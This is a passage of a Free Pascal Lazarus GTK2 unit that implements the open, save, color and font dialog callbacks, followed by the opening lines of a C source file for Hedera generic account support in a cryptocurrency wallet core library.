[fsItalic] else Style := Style - [fsItalic]; Name := pango_font_description_get_family(FontDesc); EndUpdate; end; pango_font_description_free(FontDesc); end; TFontDialog(theDialog).OnApplyClicked(theDialog); end; end; function gtkDialogOKclickedCB( widget: PGtkWidget; data: gPointer) : GBoolean; cdecl; var theDialog : TCommonDialog; Fpointer : Pointer; // colordialog colorsel : PGtkColorSelection; newColor : TGdkColor; // fontdialog FontName : String; ALogFont : TLogFont; // filedialog rowNum : gint; fileInfo : PGChar; fileList : PPgchar; FontDesc: PPangoFontDescription; DirName : string; FileName : string; Files: TStringList; CurFilename: string; //SelectedFont: PGdkFont; function CheckOpenedFilename(var AFilename: string): boolean; begin Result:=true; // maybe file already exists if (ofOverwritePrompt in TOpenDialog(theDialog).Options) and FileExistsUTF8(AFilename) then begin Result := MessageDlg(rsfdOverwriteFile, Format(rsfdFileAlreadyExists,[AFileName]), mtConfirmation,[mbOk,mbCancel],0)=mrOk; if not Result then exit; end; end; procedure AddFile(List: TStrings; const NewFile: string); var i: Integer; begin for i:=0 to List.Count-1 do if List[i]=NewFile then exit; List.Add(NewFile); end; begin Result := True; if (Widget=nil) then ; theDialog := TCommonDialog(data); FPointer := {%H-}Pointer(theDialog.Handle); if theDialog is TFileDialog then begin FileName:=gtk_file_chooser_get_filename(PGtkFileChooser(FPointer)); FileName:=SysToUTF8(Filename); if theDialog is TOpenDialog then begin // check extra options if ofAllowMultiSelect in TOpenDialog(theDialog).Options then begin DirName:=ExtractFilePath(FileName); TFileDialog(data).FileName := ''; Files:=TStringList(TFileDialog(theDialog).Files); Files.Clear; if (Filename<>'') then begin Result:=CheckOpenedFilename(Filename); if not Result then exit; AddFile(Files,FileName); end; fileList := gtk_file_selection_get_selections(PGtkFileSelection(FPointer)); rowNum := 0; While FileList^ <> nil do begin fileInfo := FileList^; CurFilename:=fileInfo; // convert PChar to AnsiString (not typecast) CurFilename:=SysToUTF8(CurFilename); if (CurFilename<>'') and (Files.IndexOf(CurFilename)<0) then begin CurFilename:=DirName+fileInfo; Result:=CheckOpenedFilename(CurFilename); if not Result then exit; Files.Add(CurFilename); end; inc(FileList); inc(rowNum); end; Dec(FileList, rowNum); g_strfreev(fileList); end else begin Result:=CheckOpenedFilename(Filename); if not Result then exit; TFileDialog(data).FileName := Filename; end; end else begin TFileDialog(data).FileName := Filename; end; end else if theDialog is TColorDialog then begin colorSel := PGtkColorSelection(PGtkColorSelectionDialog(FPointer)^.colorsel); gtk_color_selection_get_current_color(colorsel, @newColor); TColorDialog(theDialog).Color := TGDKColorToTColor(newcolor); {$IFDEF VerboseColorDialog} DebugLn('gtkDialogOKclickedCB ',DbgS(TColorDialog(theDialog).Color)); {$ENDIF} end else if theDialog is TFontDialog then begin //DebugLn('Trace:Pressed OK in FontDialog'); FontName := gtk_font_selection_dialog_get_font_name( pgtkfontselectiondialog(FPointer)); //debugln('gtkDialogOKclickedCB FontName=',FontName); //SelectedFont:=gdk_font_load(PChar(FontName)); //debugln('gtkDialogOKclickedCB ',dbgs(SelectedFont)); if IsFontNameXLogicalFontDesc(FontName) then begin // extract basic font attributes from the font name in XLFD format ALogFont:=XLFDNameToLogFont(FontName); TFontDialog(theDialog).Font.Assign(ALogFont); // set the font name in XLFD format // a font name in XLFD format overrides in the gtk interface all other font // settings. TFontDialog(theDialog).Font.Name := FontName; end else begin FontDesc := pango_font_description_from_string(PChar(FontName)); with TFontDialog(theDialog).Font do begin BeginUpdate; Size := pango_font_description_get_size(FontDesc) div PANGO_SCALE; if pango_font_description_get_weight(FontDesc) >= PANGO_WEIGHT_BOLD then Style := Style + [fsBold] else Style := Style - [fsBold]; if pango_font_description_get_style(FontDesc) > PANGO_STYLE_NORMAL then Style := Style + [fsItalic] else Style := Style - [fsItalic]; Name := pango_font_description_get_family(FontDesc); EndUpdate; end; pango_font_description_free(FontDesc); end; //DebugLn('Trace:-----'+TFontDialog(theDialog).Font.Name+'----'); end; StoreCommonDialogSetup(theDialog); theDialog.UserChoice := mrOK; end; {------------------------------------------------------------------------------- function gtkDialogCancelclickedCB Params: widget: PGtkWidget; data: gPointer Result: GBoolean This function is called, whenever the user clicks the cancel button in a commondialog -------------------------------------------------------------------------------} function gtkDialogCancelclickedCB(widget: PGtkWidget; data: gPointer): GBoolean; cdecl; var theDialog : TCommonDialog; begin Result := CallBackDefaultReturn; if (Widget=nil) then ; theDialog := TCommonDialog(data); if theDialog is TFileDialog then begin TFileDialog(data).FileName := ''; end; StoreCommonDialogSetup(theDialog); theDialog.UserChoice := mrCancel; end; {------------------------------------------------------------------------------- function GTKDialogRealizeCB Params: Widget: PGtkWidget; Data: Pointer Result: GBoolean This function is called, whenever a commondialog window is realized -------------------------------------------------------------------------------} function GTKDialogRealizeCB(Widget: PGtkWidget; Data: Pointer): GBoolean; cdecl; var LCLComponent: TObject; begin if (Data=nil) then ; gdk_window_set_events(GetControlWindow(Widget), gdk_window_get_events(GetControlWindow(Widget)) or GDK_KEY_RELEASE_MASK or GDK_KEY_PRESS_MASK); LCLComponent:=GetLCLObject(Widget); if LCLComponent is TCommonDialog then begin {$ifdef DebugCommonDialogEvents} debugln(['GTKDialogRealizeCB calling DoShow']); {$endif} TCommonDialog(LCLComponent).DoShow; end; Result:=true; end; {------------------------------------------------------------------------------- function gtkDialogCloseQueryCB Params: widget: PGtkWidget; data: gPointer Result: GBoolean This function is called, before a commondialog is destroyed (Only when the user aborts the dialog, not if the dialog closes as the result of a click on one of itś buttons) -------------------------------------------------------------------------------} function gtkDialogCloseQueryCB(widget: PGtkWidget; data: gPointer): GBoolean; cdecl; var theDialog : TCommonDialog; CanClose: boolean; begin {$ifdef DebugCommonDialogEvents} debugln(['>>>>gtkDialogCloseQueryCB A']); {$endif} Result := False; // true = do nothing, false = destroy or hide window if (Data=nil) then ; // data is not the commondialog. Get it manually. theDialog := TCommonDialog(GetLCLObject(Widget)); if theDialog=nil then exit; if theDialog.OnCanClose<>nil then begin theDialog.UserChoice := mrCancel; CanClose:=True; {$ifdef DebugCommonDialogEvents} debugln(['gtkDialogCloseQueryCB calling DoCanClose']); {$endif} theDialog.DoCanClose(CanClose); Result:=not CanClose; end; if not Result then begin StoreCommonDialogSetup(theDialog); DestroyCommonDialogAddOns(theDialog); end; {$ifdef DebugCommonDialogEvents} debugln(['gtkDialogCloseQueryCB End']); {$endif} end; {------------------------------------------------------------------------------- function gtkDialogDestroyCB Params: widget: PGtkWidget; data: gPointer Result: GBoolean This function is called, when a commondialog is destroyed -------------------------------------------------------------------------------} function gtkDialogDestroyCB(widget: PGtkWidget; data: gPointer): GBoolean; cdecl; begin {$ifdef DebugCommonDialogEvents} debugln(['gtkDialogDestroyCB A']); {$endif} Result := True; if (Widget=nil) then ; TCommonDialog(data).UserChoice := mrCancel; TCommonDialog(data).Close; {$ifdef DebugCommonDialogEvents} debugln(['gtkDialogDestroyCB End']); {$endif} end; {------------------------------------------------------------------------------- function GTKDialogKeyUpDownCB Params: Widget: PGtkWidget; Event : pgdkeventkey; Data: gPointer Result: GBoolean This function is called, whenever a key is pressed or released in a common dialog window -------------------------------------------------------------------------------} function GTKDialogKeyUpDownCB(Widget: PGtkWidget; Event : pgdkeventkey; Data: gPointer) : GBoolean; cdecl; begin Result:=CallBackDefaultReturn; if (Widget=nil) then ; case gdk_event_get_type(Event) of GDK_KEY_RELEASE, GDK_KEY_PRESS: begin if Event^.KeyVal = GDK_KEY_Escape then begin StoreCommonDialogSetup(TCommonDialog(data)); TCommonDialog(data).UserChoice:=mrCancel; end; if (TCommonDialog(data) is TOpenDialog) then begin UpdateDetailView(TOpenDialog(data)); end; end; end; end; {------------------------------------------------------------------------------- function GTKDialogFocusInCB Params: widget: PGtkWidget; data: gPointer Result: GBoolean This function is called, when a widget of a commondialog gets focus -------------------------------------------------------------------------------} function GTKDialogFocusInCB(widget: PGtkWidget; data: gPointer): GBoolean; cdecl; var theDialog: TCommonDialog; begin //debugln('GTKDialogFocusInCB A '); Result:=CallBackDefaultReturn; if (Data=nil) then ; theDialog:=TCommonDialog(GetLCLObject(Widget)); if (theDialog is TOpenDialog) then begin UpdateDetailView(TOpenDialog(theDialog)); end; end; {------------------------------------------------------------------------------- function GTKDialogMenuActivateCB Params: widget: PGtkWidget; data: gPointer Result: GBoolean This function is called, whenever a menu of a commondialog is activated -------------------------------------------------------------------------------} function GTKDialogMenuActivateCB(widget: PGtkWidget; data: gPointer): GBoolean; cdecl; var theDialog: TCommonDialog; procedure CheckFilterActivated(FilterWidget: PGtkWidget); var AFilterEntry: TFileSelFilterEntry; begin if FilterWidget=nil then exit; AFilterEntry:=TFileSelFilterEntry(g_object_get_data(PGObject(FilterWidget), 'LCLIsFilterMenuItem')); if (AFilterEntry<>nil) and (AFilterEntry.Mask<>nil) then begin PopulateFileAndDirectoryLists({%H-}PGtkFileSelection(theDialog.Handle), AFilterEntry.Mask); TFileDialog(TheDialog).IntfFileTypeChanged(AFilterEntry.FilterIndex + 1); UpdateDetailView(TOpenDialog(theDialog)); end; end; var AHistoryEntry: PFileSelHistoryEntry; aSysFilename: String; begin Result:=false; if (Data=nil) then ; theDialog:=TCommonDialog(GetNearestLCLObject(Widget)); if (theDialog is TOpenDialog) then begin // check if history activated AHistoryEntry:=g_object_get_data(PGObject(Widget), 'LCLIsHistoryMenuItem'); if (AHistoryEntry<>nil) and (AHistoryEntry^.Filename<>nil) then begin // user has choosen a history file // -> select it in the filedialog aSysFilename:=UTF8ToSys(AHistoryEntry^.Filename); gtk_file_chooser_set_current_folder({%H-}PGtkFileChooser(theDialog.Handle), Pgchar(aSysFilename)); UpdateDetailView(TOpenDialog(theDialog)); end; end; end; { TGtk2WSSelectDirectoryDialog } class function TGtk2WSSelectDirectoryDialog.QueryWSEventCapabilities( const ACommonDialog: TCommonDialog): TCDWSEventCapabilities; begin Result := [cdecWSPerformsDoShow]; end; { TGtk2WSSaveDialog } class function TGtk2WSSaveDialog.QueryWSEventCapabilities( const ACommonDialog: TCommonDialog): TCDWSEventCapabilities; begin Result := [cdecWSPerformsDoShow]; end; // ---------------------- END OF signals --------------------------------------- { TGtk2WSOpenDialog } class function TGtk2WSOpenDialog.CreateOpenDialogFilter( OpenDialog: TOpenDialog; SelWidget: PGtkWidget): string; var ListOfFileSelFilterEntry: TFPList; i, j, k: integer; GtkFilter, GtkSelFilter: PGtkFileFilter; MaskList: TStringList; FilterEntry: TFileSelFilterEntry; FilterIndex: Integer; aMask: String; begin FilterIndex := OpenDialog.FilterIndex; ExtractFilterList(OpenDialog.Filter, ListOfFileSelFilterEntry, false); GtkSelFilter := nil; if ListOfFileSelFilterEntry.Count > 0 then begin j := 1; MaskList := TStringList.Create; MaskList.Delimiter := ';'; for i := 0 to ListOfFileSelFilterEntry.Count-1 do begin GtkFilter := gtk_file_filter_new(); FilterEntry := TFileSelFilterEntry(ListOfFileSelFilterEntry[i]); MaskList.DelimitedText := FilterEntry.Mask; for k := 0 to MaskList.Count - 1 do begin aMask:=UTF8ToSys(MaskList.Strings[k]); gtk_file_filter_add_pattern(GtkFilter, PChar(aMask)); end; gtk_file_filter_set_name(GtkFilter, FilterEntry.Description); gtk_file_chooser_add_filter(SelWidget, GtkFilter); if j = FilterIndex then GtkSelFilter := GtkFilter; Inc(j); GtkFilter := nil; end; MaskList.Free; end; FreeListOfFileSelFilterEntry(ListOfFileSelFilterEntry); //g_object_set_data(PGObject(SelWidget), 'LCLFilterList', ListOfFileSelFilterEntry); if GtkSelFilter <> nil then gtk_file_chooser_set_filter(SelWidget, GtkSelFilter); Result := 'hm'; { Don't use '' as null return as this is used for *.* } end; class procedure TGtk2WSOpenDialog.CreateOpenDialogHistory( OpenDialog: TOpenDialog; SelWidget: PGtkWidget); var HistoryList: TFPList; // list of THistoryListEntry AHistoryEntry: PFileSelHistoryEntry; i: integer; s: string; HBox, LabelWidget, HistoryPullDownWidget, MenuWidget, MenuItemWidget: PGtkWidget; begin if OpenDialog.HistoryList.Count>0 then begin // create the HistoryList where the current state of the history is stored HistoryList:=TFPList.Create; for i:=0 to OpenDialog.HistoryList.Count-1 do begin s:=OpenDialog.HistoryList[i]; if s<>'' then begin New(AHistoryEntry); HistoryList.Add(AHistoryEntry); AHistoryEntry^.Filename := StrAlloc(length(s)+1); StrPCopy(AHistoryEntry^.Filename, s); AHistoryEntry^.MenuItem:=nil; end; end; // create a HBox so that the history is left justified HBox:=gtk_hbox_new(false,0); g_object_set_data(PGObject(SelWidget), 'LCLHistoryHBox', HBox); gtk_file_chooser_set_extra_widget(PGtkDialog(SelWidget),HBox); // create the label 'History:' s:=rsgtkHistory; LabelWidget:=gtk_label_new(PChar(s)); gtk_box_pack_start(GTK_BOX(HBox),LabelWidget,false,false,5); gtk_widget_show(LabelWidget); // create the pull down HistoryPullDownWidget:=gtk_option_menu_new; g_object_set_data(PGObject(SelWidget), 'LCLHistoryPullDown', HistoryPullDownWidget); gtk_box_pack_start(GTK_BOX(HBox),HistoryPullDownWidget,false,false,5); gtk_widget_show(HistoryPullDownWidget); gtk_widget_show_all(HBox); // create the menu (the content of the pull down) MenuWidget:=gtk_menu_new; SetLCLObject(MenuWidget,OpenDialog); for i:=0 to HistoryList.Count-1 do begin // create the menu items in the history menu MenuItemWidget:=gtk_menu_item_new_with_label( PFileSelHistoryEntry(HistoryList[i])^.Filename); // connect the new MenuItem to the HistoryList entry g_object_set_data(PGObject(MenuItemWidget), 'LCLIsHistoryMenuItem', HistoryList[i]); // add activation signal and add to menu g_signal_connect(GTK_OBJECT(MenuItemWidget), 'activate', gtk_signal_func(@GTKDialogMenuActivateCB), OpenDialog); gtk_menu_append(MenuWidget, MenuItemWidget); gtk_widget_show(MenuItemWidget); end; gtk_widget_show(MenuWidget); gtk_option_menu_set_menu(GTK_OPTION_MENU(HistoryPullDownWidget), MenuWidget); end else begin MenuWidget:=nil; HistoryList:=nil end; g_object_set_data(PGObject(SelWidget), 'LCLHistoryMenu', MenuWidget); g_object_set_data(PGObject(SelWidget), 'LCLHistoryList', HistoryList); end; class procedure TGtk2WSOpenDialog.CreatePreviewDialogControl( PreviewDialog: TPreviewFileDialog; SelWidget: PGtkWidget); var PreviewWidget: PGtkWidget; AControl: TPreviewFileControl; Win, SubWin: TWinControl; FileChooser: PGtkFileChooser; begin AControl := PreviewDialog.PreviewFileControl; if AControl = nil then Exit; FileChooser := PGtkFileChooser(SelWidget); PreviewWidget := {%H-}PGtkWidget(AControl.Handle); g_object_set_data(PGObject(PreviewWidget),'LCLPreviewFixed', PreviewWidget); gtk_widget_set_size_request(PreviewWidget,AControl.Width,AControl.Height); // manually resize the preview objects, it seems, automatic resize is not // working when parent of LCL control is not a LCL control. if (AControl.ControlCount>0) and (AControl.Controls[0] is TWinControl) then begin Win := TWinControl(AControl.Controls[0]); // groupbox SubWin := TWinControl(Win.Controls[0]); // image gtk_widget_set_size_request({%H-}PGtkWidget(Win.Handle), AControl.Width, AControl.Height); SubWin.width := AControl.Width-4; // skip borders SubWin.height := AControl.Height-15; // end; gtk_file_chooser_set_preview_widget(FileChooser, PreviewWidget); end; { Adds some functionality to a gtk file selection dialog. - multiselection - range selection - close on escape - file information - history pulldown - filter pulldown - preview control requires: gtk+ 2.6 } class function TGtk2WSOpenDialog.CreateHandle(const ACommonDialog: TCommonDialog): THandle; var FileSelWidget: PGtkFileChooser; OpenDialog: TOpenDialog absolute ACommonDialog; HelpButton: PGtkWidget; InitialFilename: String; aSysFilename: String; //FrameWidget: PGtkWidget; //HBox: PGtkWidget; //FileDetailLabel: PGtkWidget; begin Result := TGtk2WSFileDialog.CreateHandle(ACommonDialog); FileSelWidget := {%H-}PGtkFileChooser(Result); if OpenDialog.InheritsFrom(TSaveDialog) then begin if OpenDialog.InitialDir <> '' then begin aSysFilename:=UTF8ToSys(OpenDialog.InitialDir); gtk_file_chooser_set_current_folder(FileSelWidget, Pgchar(aSysFilename)); end; end; // Help button if (ofShowHelp in OpenDialog.Options) then begin HelpButton := gtk_dialog_add_button(FileSelWidget, GTK_STOCK_HELP, GTK_RESPONSE_NONE); g_signal_connect(PGtkObject(HelpButton), 'clicked', gtk_signal_func(@gtkDialogHelpclickedCB), OpenDialog); end; if ofAllowMultiSelect in OpenDialog.Options then gtk_file_chooser_set_select_multiple(FileSelWidget, gboolean(gtrue)); // History List - a frame with an option menu CreateOpenDialogHistory(OpenDialog, FileSelWidget); // Filter CreateOpenDialogFilter(OpenDialog, FileSelWidget); // connect change event g_signal_connect(PGtkObject(FileSelWidget), 'selection-changed', gtk_signal_func(@gtkFileChooserSelectionChangedCB), OpenDialog); // Sets the dialog options // ofForceShowHidden if (ofForceShowHidden in OpenDialog.Options) then gtk_file_chooser_set_show_hidden(FileSelWidget, True); (* TODO // Details - a frame with a label if (ofViewDetail in OpenDialog.Options) then begin // create the frame around the information FrameWidget:=gtk_frame_new(PChar(rsFileInformation)); //gtk_box_pack_start(GTK_BOX(FileSelWidget^.main_vbox), // FrameWidget,false,false,0); gtk_box_pack_start(GTK_BOX(gtk_file_chooser_get_extra_widget( PGtkFileChooser(SelWidget))), FrameWidget,false,false,0); gtk_widget_show(FrameWidget); // create a HBox, so that the information is left justified HBox:=gtk_hbox_new(false,0); gtk_container_add(GTK_CONTAINER(FrameWidget), HBox); // create the label for the file information FileDetailLabel:=gtk_label_new(PChar(rsDefaultFileInfoValue)); gtk_box_pack_start(GTK_BOX(HBox),FileDetailLabel,false,false,5); gtk_widget_show_all(HBox); end else FileDetailLabel:=nil; g_object_set_data(PGObject(SelWidget), 'FileDetailLabel', FileDetailLabel); *) // preview if (OpenDialog is TPreviewFileDialog) then CreatePreviewDialogControl(TPreviewFileDialog(OpenDialog), PGtkWidget(FileSelWidget)); // set initial filename (gtk expects an absolute filename) InitialFilename := TrimFilename(OpenDialog.FileName); if InitialFilename <> '' then begin if not FilenameIsAbsolute(InitialFilename) and (OpenDialog.InitialDir <> '') then InitialFilename := TrimFilename(OpenDialog.InitialDir + PathDelim + InitialFilename); if not FilenameIsAbsolute(InitialFilename) then InitialFilename := CleanAndExpandFilename(InitialFilename); aSysFilename:=UTF8ToSys(InitialFilename); gtk_file_chooser_set_filename(FileSelWidget, PChar(aSysFilename)); end; //if InitialFilter <> 'none' then // PopulateFileAndDirectoryLists(FileSelWidget, InitialFilter); end; class function TGtk2WSOpenDialog.QueryWSEventCapabilities( const ACommonDialog: TCommonDialog): TCDWSEventCapabilities; begin Result := [cdecWSPerformsDoShow]; end; { TGtk2WSFileDialog } class procedure TGtk2WSFileDialog.SetCallbacks(const AGtkWidget: PGtkWidget; const AWidgetInfo: PWidgetInfo); begin TGtk2WSCommonDialog.SetCallbacks(AGtkWidget, AWidgetInfo); g_signal_connect(AGtkWidget, 'response', gtk_signal_func(@Gtk2FileChooserResponseCB), AWidgetInfo^.LCLObject); g_signal_connect(AGtkWidget, 'notify', gtk_signal_func(@Gtk2FileChooserNotifyCB), AWidgetInfo^.LCLObject); end; { Creates a new TFile/Open/SaveDialog requires: gtk+ 2.6 } class function TGtk2WSFileDialog.CreateHandle(const ACommonDialog: TCommonDialog ): THandle; var FileDialog: TFileDialog absolute ACommonDialog; Action: TGtkFileChooserAction; Button1: String; Widget: PGtkWidget; WidgetInfo: PWidgetInfo; aSysFilename: String; begin // Defines an action for the dialog and creates it Action := GTK_FILE_CHOOSER_ACTION_OPEN; Button1 := GTK_STOCK_OPEN; if (FileDialog is TSaveDialog) or (FileDialog is TSavePictureDialog) then begin Action := GTK_FILE_CHOOSER_ACTION_SAVE; Button1 := GTK_STOCK_SAVE; end else if FileDialog is TSelectDirectoryDialog then begin Action := GTK_FILE_CHOOSER_ACTION_SELECT_FOLDER; Button1 := GTK_STOCK_OPEN; end; Widget := gtk_file_chooser_dialog_new(PChar(FileDialog.Title), nil, Action, PChar(GTK_STOCK_CANCEL), [GTK_RESPONSE_CANCEL, PChar(Button1), GTK_RESPONSE_OK, nil]); {$ifdef GTK_2_8} if FileDialog is TSaveDialog then begin gtk_file_chooser_set_do_overwrite_confirmation(Widget, ofOverwritePrompt in TOpenDialog(FileDialog).Options); end; {$endif} if FileDialog.InitialDir <> '' then begin aSysFilename:=UTF8ToSys(FileDialog.InitialDir); gtk_file_chooser_set_current_folder(Widget, Pgchar(aSysFilename)); end; if gtk_file_chooser_get_action(Widget) in [GTK_FILE_CHOOSER_ACTION_SAVE, GTK_FILE_CHOOSER_ACTION_CREATE_FOLDER] then gtk_file_chooser_set_current_name(Widget, Pgchar(FileDialog.FileName)); Result := THandle({%H-}PtrUInt(Widget)); WidgetInfo := CreateWidgetInfo(Widget); WidgetInfo^.LCLObject := ACommonDialog; TGtk2WSCommonDialog.SetSizes(Widget, WidgetInfo); SetCallbacks(Widget, WidgetInfo); end; { TGtk2WSCommonDialog } {------------------------------------------------------------------------------ Method: SetColorDialogColor Params: ColorSelection : a gtk color selection dialog; Color : the color to select Returns: nothing Set the color of the color selection dialog ------------------------------------------------------------------------------} class procedure TGtk2WSCommonDialog.SetColorDialogColor(ColorSelection: PGtkColorSelectionDialog; Color: TColor); var SelectionColor: TGDKColor; colorSel: PGtkColorSelection; begin Color := TColor(ColorToRGB(Color)); SelectionColor := TColortoTGDKColor(Color); colorSel := PGtkColorSelection(ColorSelection^.colorsel); gtk_color_selection_set_current_color(colorSel, @SelectionColor); gtk_color_selection_set_previous_color(colorSel, @SelectionColor); end; class procedure TGtk2WSCommonDialog.SetColorDialogPalette( ColorSelection: PGtkColorSelectionDialog; Palette: TStrings); const PaletteSetting = 'gtk-color-palette'; var colorSel: PGtkColorSelection; settings: PGtkSettings; new_palette: Pgchar; colors: PGdkColor; colors_len: gint; procedure FillCustomColors; var i, AIndex: integer; AColor: TColor; begin for i := 0 to Palette.Count - 1 do if ExtractColorIndexAndColor(Palette, i, AIndex, AColor) then if AIndex < colors_len then colors[AIndex] := TColortoTGDKColor(AColor); end; begin colorSel := PGtkColorSelection(ColorSelection^.colorsel); // show palette gtk_color_selection_set_has_palette(colorSel, True); // replace palette. it is stored in 'gtk-color-palette' settings. // 1. get original palette => we will know colors and replace only part of it settings := gtk_widget_get_settings(PGtkWidget(colorSel)); new_palette := nil; g_object_get(settings, PaletteSetting, [@new_palette, nil]); colors:=nil; gtk_color_selection_palette_from_string(new_palette, colors, @colors_len); g_free(new_palette); // 2. fill original palette with our custom colors FillCustomColors; // 3. set new palette back to settings new_palette := gtk_color_selection_palette_to_string(colors, colors_len); g_free(colors); gtk_settings_set_string_property(settings, PaletteSetting, new_palette, 'gtk_color_selection_palette_to_string'); g_free(new_palette); end; class procedure TGtk2WSCommonDialog.SetCallbacks(const AGtkWidget: PGtkWidget; const AWidgetInfo: PWidgetInfo); begin g_signal_connect(PGtkObject(AGtkWidget), 'destroy', gtk_Signal_Func(@gtkDialogDestroyCB), AWidgetInfo^.LCLObject); g_signal_connect(PGtkObject(AGtkWidget), 'delete-event', gtk_Signal_Func(@gtkDialogCloseQueryCB), AWidgetInfo^.LCLObject); g_signal_connect(PGtkObject(AGtkWidget), 'key-press-event', gtk_Signal_Func(@GTKDialogKeyUpDownCB), AWidgetInfo^.LCLObject); g_signal_connect(PGtkObject(AGtkWidget), 'key-release-event', gtk_Signal_Func(@GTKDialogKeyUpDownCB), AWidgetInfo^.LCLObject); g_signal_connect(PGtkObject(AGtkWidget), 'realize', gtk_Signal_Func(@GTKDialogRealizeCB), AWidgetInfo^.LCLObject); end; class procedure TGtk2WSCommonDialog.SetSizes(const AGtkWidget: PGtkWidget; const AWidgetInfo: PWidgetInfo); var NewWidth, NewHeight: integer; begin // set default size NewWidth := TCommonDialog(AWidgetInfo^.LCLObject).Width; if NewWidth <= 0 then NewWidth := -2; // -2 = let the window manager decide NewHeight := TCommonDialog(AWidgetInfo^.LCLObject).Height; if NewHeight<=0 then NewHeight := -2; // -2 = let the window manager decide if (NewWidth > 0) or (NewHeight > 0) then gtk_window_set_default_size(PGtkWindow(AGtkWidget), NewWidth, NewHeight); end; class function TGtk2WSCommonDialog.CreateHandle( const ACommonDialog: TCommonDialog): THandle; begin Result := 0; end; class procedure TGtk2WSCommonDialog.ShowModal(const ACommonDialog: TCommonDialog); var GtkWindow: PGtkWindow; begin ReleaseMouseCapture; GtkWindow:={%H-}PGtkWindow(ACommonDialog.Handle); gtk_window_set_title(GtkWindow,PChar(ACommonDialog.Title)); if ACommonDialog is TColorDialog then begin SetColorDialogColor(PGtkColorSelectionDialog(GtkWindow), TColorDialog(ACommonDialog).Color); SetColorDialogPalette(PGtkColorSelectionDialog(GtkWindow), TColorDialog(ACommonDialog).CustomColors); end; gtk_window_set_position(GtkWindow, GTK_WIN_POS_CENTER); GtkWindowShowModal(nil, GtkWindow); end; class procedure TGtk2WSCommonDialog.DestroyHandle( const ACommonDialog: TCommonDialog); begin { TODO: cleanup } TGtk2WidgetSet(WidgetSet).DestroyLCLComponent(ACommonDialog); end; { TGtk2WSColorDialog } class procedure TGtk2WSColorDialog.SetCallbacks(const AGtkWidget: PGtkWidget; const AWidgetInfo: PWidgetInfo); begin TGtk2WSCommonDialog.SetCallbacks(AGtkWidget, AWidgetInfo); g_signal_connect(PGtkObject(PGtkColorSelectionDialog(AGtkWidget)^.ok_button), 'clicked', gtk_signal_func(@gtkDialogOKclickedCB), AWidgetInfo^.LCLObject); g_signal_connect(PGtkObject(PGtkColorSelectionDialog(AGtkWidget)^.cancel_button), 'clicked', gtk_signal_func(@gtkDialogCancelclickedCB), AWidgetInfo^.LCLObject); end; class function TGtk2WSColorDialog.CreateHandle( const ACommonDialog: TCommonDialog): THandle; var Widget: PGtkWidget; WidgetInfo: PWidgetInfo; begin Widget := gtk_color_selection_dialog_new(PChar(ACommonDialog.Title)); Result := THandle({%H-}PtrUInt(Widget)); WidgetInfo := CreateWidgetInfo(Widget); WidgetInfo^.LCLObject := ACommonDialog; TGtk2WSCommonDialog.SetSizes(Widget, WidgetInfo); SetCallbacks(Widget, WidgetInfo); end; class function TGtk2WSColorDialog.QueryWSEventCapabilities( const ACommonDialog: TCommonDialog): TCDWSEventCapabilities; begin Result := [cdecWSPerformsDoShow]; end; { TGtk2WSFontDialog } class procedure TGtk2WSFontDialog.SetCallbacks(const AGtkWidget: PGtkWidget; const AWidgetInfo: PWidgetInfo); begin TGtk2WSCommonDialog.SetCallbacks(AGtkWidget, AWidgetInfo); // connect Ok, Cancel and Apply Button g_signal_connect( PGtkObject(PGtkFontSelectionDialog(AGtkWidget)^.ok_button), 'clicked', gtk_signal_func(@gtkDialogOKclickedCB), AWidgetInfo^.LCLObject); g_signal_connect( PGtkObject(PGtkFontSelectionDialog(AGtkWidget)^.cancel_button), 'clicked', gtk_signal_func(@gtkDialogCancelclickedCB), AWidgetInfo^.LCLObject); g_signal_connect( PGtkObject(PGtkFontSelectionDialog(AGtkWidget)^.apply_button), 'clicked', gtk_signal_func(@gtkDialogApplyclickedCB), AWidgetInfo^.LCLObject); end; class function TGtk2WSFontDialog.CreateHandle(const ACommonDialog: TCommonDialog): THandle; var FontDesc: PPangoFontDescription; TmpStr: pChar; Widget: PGtkWidget; WidgetInfo: PWidgetInfo; FontDialog: TFontDialog absolute ACommonDialog; begin Widget := gtk_font_selection_dialog_new(PChar(ACommonDialog.Title)); if fdApplyButton in FontDialog.Options then gtk_widget_show(PGtkFontSelectionDialog(Widget)^.apply_button); // set preview text if FontDialog.PreviewText <> '' then gtk_font_selection_dialog_set_preview_text(PGtkFontSelectionDialog(Widget), PChar(FontDialog.PreviewText)); // set font name in XLFD format if IsFontNameXLogicalFontDesc(FontDialog.Font.Name) then gtk_font_selection_dialog_set_font_name(PGtkFontSelectionDialog(Widget), PChar(FontDialog.Font.Name)) else begin FontDesc := pango_font_description_new; with FontDialog.Font do begin pango_font_description_set_size(FontDesc, Size * PANGO_SCALE); if fsBold in Style then pango_font_description_set_weight(FontDesc, PANGO_WEIGHT_BOLD) else pango_font_description_set_weight(FontDesc, PANGO_WEIGHT_NORMAL); if fsItalic in Style then pango_font_description_set_style(FontDesc, PANGO_STYLE_ITALIC) else pango_font_description_set_style(FontDesc, PANGO_STYLE_NORMAL); pango_font_description_set_family(FontDesc, PChar(Name)); end; TmpStr := pango_font_description_to_string(FontDesc); gtk_font_selection_dialog_set_font_name(PGtkFontSelectionDialog(Widget), TmpStr); g_free(TmpStr); pango_font_description_free(FontDesc); end; { This functionality does not seem to be available in GTK2 } // Honor selected TFontDialogOption flags Result := THandle({%H-}PtrUInt(Widget)); WidgetInfo := CreateWidgetInfo(Widget); WidgetInfo^.LCLObject := ACommonDialog; TGtk2WSCommonDialog.SetSizes(Widget, WidgetInfo); SetCallbacks(Widget, WidgetInfo); end; class function TGtk2WSFontDialog.QueryWSEventCapabilities( const ACommonDialog: TCommonDialog): TCDWSEventCapabilities; begin Result := [cdecWSPerformsDoShow]; end; end.
{ "pile_set_name": "Github" }
// // BRGenericHedera.c // Core // // Created by Ed Gamble on 6/19/19. // Copyright © 2019 Breadwinner AG. All rights reserved. // // See the LICENSE file at the project root for license information. // See the CONTRIBUTORS file at the project root for a list of contributors. #include "BRGenericHedera.h" #include "hedera/BRHederaAccount.h" #include "hedera/BRHederaWallet.h" #include "hedera/BRHederaTransaction.h" //#include "hedera/BRHederaFeeBasis.h" #include "support/BRSet.h" #include "ethereum/util/BRUtilHex.h" // MARK: - Generic Network // MARK: - Generic Account static BRGenericAccountRef genericHederaAccountCreate (const char *type, UInt512 seed) { return (BRGenericAccountRef) hederaAccountCreateWithSeed (seed); } static BRGenericAccountRef genericHederaAccountCreateWithPublicKey (const char *type, BRKey key) { //return (BRGenericAccountRef) hederaAccountCreateWithKey (key); // TODO - this function will most likey be removed return NULL; } static BRGenericAccountRef genericHederaAccountCreateWithSerialization (const char *type, uint8_t 